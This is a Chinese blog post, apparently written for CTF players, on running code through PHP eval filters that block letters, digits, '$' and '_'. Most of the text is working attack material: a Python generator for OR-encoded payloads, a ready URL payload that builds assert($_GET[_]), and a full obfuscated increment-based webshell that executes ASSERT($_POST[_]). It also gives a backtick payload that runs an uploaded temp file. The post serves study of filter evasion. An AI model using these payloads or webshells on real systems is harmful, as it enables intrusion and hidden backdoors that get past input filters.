沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

无字母和数字的RCE

0x01 过滤了数字和字母

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}
?>

位运算

这里提供一个“或”运算的脚本,其他运算只需要稍微修改

import re
from urllib.parse import unquote
import requests

preg = '[0-9a-z]'#(\^)(\+)(\~)(\$)(\[)(\])(\{)(\})(\&)(\-)]'可以自己改正则
filename = 'Or.txt'

with open(filename, "w") as file_ob:
    pass

for i in range(256):
    if re.match(preg,chr(i),re.I):
        continue
    for j in range(256):
        if re.match(preg,chr(j),re.I):
            continue
        else:
            if(i < 16):
                hexI = '%0' + hex(i)[2:]
            else:
                hexI = '%' + hex(i)[2:]
            if(j < 16):
                hexJ = '%0' + hex(j)[2:]
            else:
                hexJ = '%' + hex(j)[2:]  
            if((i|j) >= 32 and (i|j) <= 126):
                #print(chr(i) + '|'+ chr(j) + " = " + chr(i|j) + '--------' , i ,'|' , j , '=' , (i|j))
                with open(filename, "a") as file_ob:
                    file_ob.write(hexI + '|'+ hexJ + "=" + str(chr(i|j)) 
                    + '--------' + str(i) + '|' + str(j) + '=' + str((i|j)) + "\n")

def rep(args):
    payload = ''
    payload1 = ''
    payload2 = ''
    with open(filename) as file_ob:
        lines = file_ob.readlines()
    for i in args:
        for line in lines:
            #print(line)
            if line[8] == i:
                #print('(\"'+ line[:3] + '\"|\"' + line[4:7] + '\")', end = "")
                payload1 += line[:3]  
                payload2 += line[4:7] 
                break
    #print(payload)
    payload = '\"' + payload1 + '\"|\"'+ payload2 + '\"' 
    return payload

running = True
while running:
    exp = rep(input("your payload:\n"))
    print("URL编码",exp)
    print("无URL编码",unquote(exp))
    #url = 'http://' 
    #data = {'c': unquote(exp)}
    #headers = {"Content-Type": "application/x-www-form-urlencoded"}
    #r = requests.post(url, data = data)
    print("-------------结果--------------")
    #print(r.text)
    print("\n")

PHP5可以使用assert动态执行代码, 在PHP官方文档中,告诉我们PHP7中assert不再可以动态执行代码,但是实测(PHP7.0)还是可以动态调用,再往上似乎就不可以了(测试了5.6.9、7.0.9、7.1.9、7.2.9、7.3.4)

所以对于可用的版本我们用以下的payload

?shell=$_=(%22%01%22|%22%60%22).(%22%13%22|%22%60%22).(%22%13%22|%22%60%22).(%22%05%22|%22%60%22).(%22%12%22|%22%60%22).(%22%14%22|%22%60%22);$__=(%22%00%22|%22%5f%22).(%22%07%22|%22%40%22).(%22%05%22|%22%40%22).(%22%14%22|%22%40%22);$___=$$__;$_($___[_]);&_=phpinfo();

$_=(%22%01%22|%22%60%22).(%22%13%22|%22%60%22).(%22%13%22|%22%60%22).(%22%05%22|%22%60%22).(%22%12%22|%22%60%22).(%22%14%22|%22%60%22);//每个括号中或运算后是一个字母: a s s e r t, 脚本跑出来的只是格式和这个不一样
$__=(%22%00%22|%22%5f%22).(%22%07%22|%22%40%22).(%22%05%22|%22%40%22).(%22%14%22|%22%40%22);//_ G E T
$___=$$__;
$_($___[_]);//相当于执行了assert($_GET[_]);

还有一种和汉字取反运算的,不过我觉得还没有这个通用,就不写了,原理一样,可以看参考中师傅文章

自增

首先看下PHP文档(嗯…就是那个很迷,描述和实际结果冲突的官方文档)中的自增描述

image-20201016203213822

可以看到PHP的自增并不会像C语言一样根据按ASCII值继续往下加,而是会像”数数”一样。这样只要我们能得到一个字母,就可以通过自增获得assert,而且PHP对大小写不敏感,更加的好了呢: )

PHP中把字符串和数组和拼接,会变成值为Array的一个字符串

image-20201016213207966

师傅的webshell

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>

但是感觉一般题目引号会被禁止,有局限性

0x02 过滤了字母数字、美元符号和下划线,且限制了大小

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}
?>

利用PHP7的表达式执行顺序

image-20201016222249698

所以可以使用('function_name')();来执行函数。

还是可以利用位运算

image-20201016224409912

PHP5下利用Shell执行服务器默认上传位置的代码

要写的挺多的,详情请查看师傅的文章

payload:?><?=`. /???/????????[@-[]`;?>

还要在报文中手动创建一个文件上传的POST报文,如果不会自己写(或者像我一样懒得自己写),可以先在本地创建一个表单,然后抓包复制

image-20201016231018939

不过此方法只适用于Linux,而且因为php默认保存文件是随机的,而payload只匹配有大写的,所以要多试几次。

0x03 参考

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html